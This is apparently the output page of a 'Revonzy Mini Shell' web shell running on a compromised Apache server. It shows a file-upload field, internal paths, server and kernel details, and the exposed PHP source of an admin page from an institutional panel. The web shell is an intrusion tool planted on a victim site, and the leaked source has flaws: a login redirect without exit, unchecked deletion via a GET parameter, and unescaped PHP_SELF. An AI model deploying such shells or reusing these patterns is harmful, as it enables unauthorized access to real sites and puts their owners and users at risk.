Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/public_html/panel.atsevairag.com/atse_admin_panel007/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/public_html/panel.atsevairag.com/atse_admin_panel007/add-year.php

<?php
require_once("../lib/class/functions.php");
	
	$db = new functions();
	$current_page = "";

if(isset($_SESSION['current_login_admin']))
{
	$current_login_admin	=	$_SESSION['current_login_admin'];
}

	
	
	$year	=	"";
	
	$succ_flag 			= 	0;
	$flag              = 0;
	//$logo				=	"";
	$var_year	="";
	
	
	if(!isset($_SESSION['current_admn_email']))
	{	
		header("Location:/atse_admin_panel007/index.php");
	}
	
	if(isset($_POST['add_centre_btn']))
	{
		
		$var_year	= $_POST['year'];
	   
	   
	 
		if($flag==0)
		{
			$db-> add_year($var_year);
			
			$succ_flag = 1 ;
		}
		
	}
	if(isset($_GET['del_id']))
	{
		 $del_id	=	$_GET['del_id'];
		 $db->delete_year_form($del_id);
		
	}
	
?>
<html>
<head>
	<meta charset="UTF-8">
	<title>ATSE Vairag</title>
	
	<link rel="stylesheet" type="text/css" href="/css/stylesheet.css" />
	<script type="text/javascript" src="/js/jquery-1.9.1.min.js"></script>
	
</head>
<body>
<?php
	require_once('header.php');
?>
	
	<div style="min-height:570px;">
		<div class="admin-mid-section">
			<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
			<br />
			<center><strong>वर्ष नोंद करा</strong></center>
			<hr />
			<div class="add_centre_container">
			
			<?php
				if($succ_flag=="1")
				{
			?>
				<div class="add_centre_success">
					नवीन वर्षची नोंद झाली आहे .
				</div>
			<?php
				}
			?>
			
		
			
			<input type="text" name="year" id="year" class="txtflds" placeholder="वर्ष " value="<?php echo $year; ?>" required />
			
		
			
			<center><input type="submit" name="add_centre_btn" value="वर्ष नोंद करा" id="send_form" class="reg_btn_form" style="width:160px;" /></center>
			</div>
			</form>
			
			<br />
			
			<div class="news_feed_tbl_container">
				<center>
				<table border="1" class="centre_tab">
					<tr style="background-color:#EFEFEF;">
						<td width="50">अ. क्र.</td>
						<td width="100">वर्ष </td>
						<td width="120">दिनांक</td>
						<td width="">वेळ </td>
						<td width=""></td>
						<td width=""></td>
					</tr>
					<?php
					$users_data = array ();
					$users_data = $db->get_all_year_info();
						
						if(!empty($users_data))
						{
							$count =0;
							foreach($users_data as $record)
							{
							  $res_id  = $users_data[$count][0];
							  $res_year = $users_data[$count][1];  
							  $res_date   = $users_data[$count][2];
							  $res_time   = $users_data[$count][3];
												
				?>		
						<tr>
							<td width=""><?php echo $res_id; ?></td>
							<td width=""><?php echo $res_year; ?></td>
							<td width=""><?php echo $res_date; ?></td>
							<td width=""><?php echo $res_time; ?></td>
							
							<td width="60"><a href="add-year-update-report.php?edit_id=<?php echo $res_id; ?>">Edit</a></td>
							<td width=""><a href="<?php echo $_SERVER['PHP_SELF']."?del_id=".$res_id; ?>" class="delete_link_report" id="news_delete_link">Delete</a></td>
						</tr>
					<?php
							$count++;
							}
						}
						else
						{
					?>
						<tr>
							<td colspan="5">कोणताही वर्ष जतन केलेली नाही </td>
						</tr>
					<?php
						}
					?>
				</table>
				</center>
			</div>
			<br /><br />
			
		</div>
	</div>
	
	<?php
		require_once('footer.php');
	?>

</body>
</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4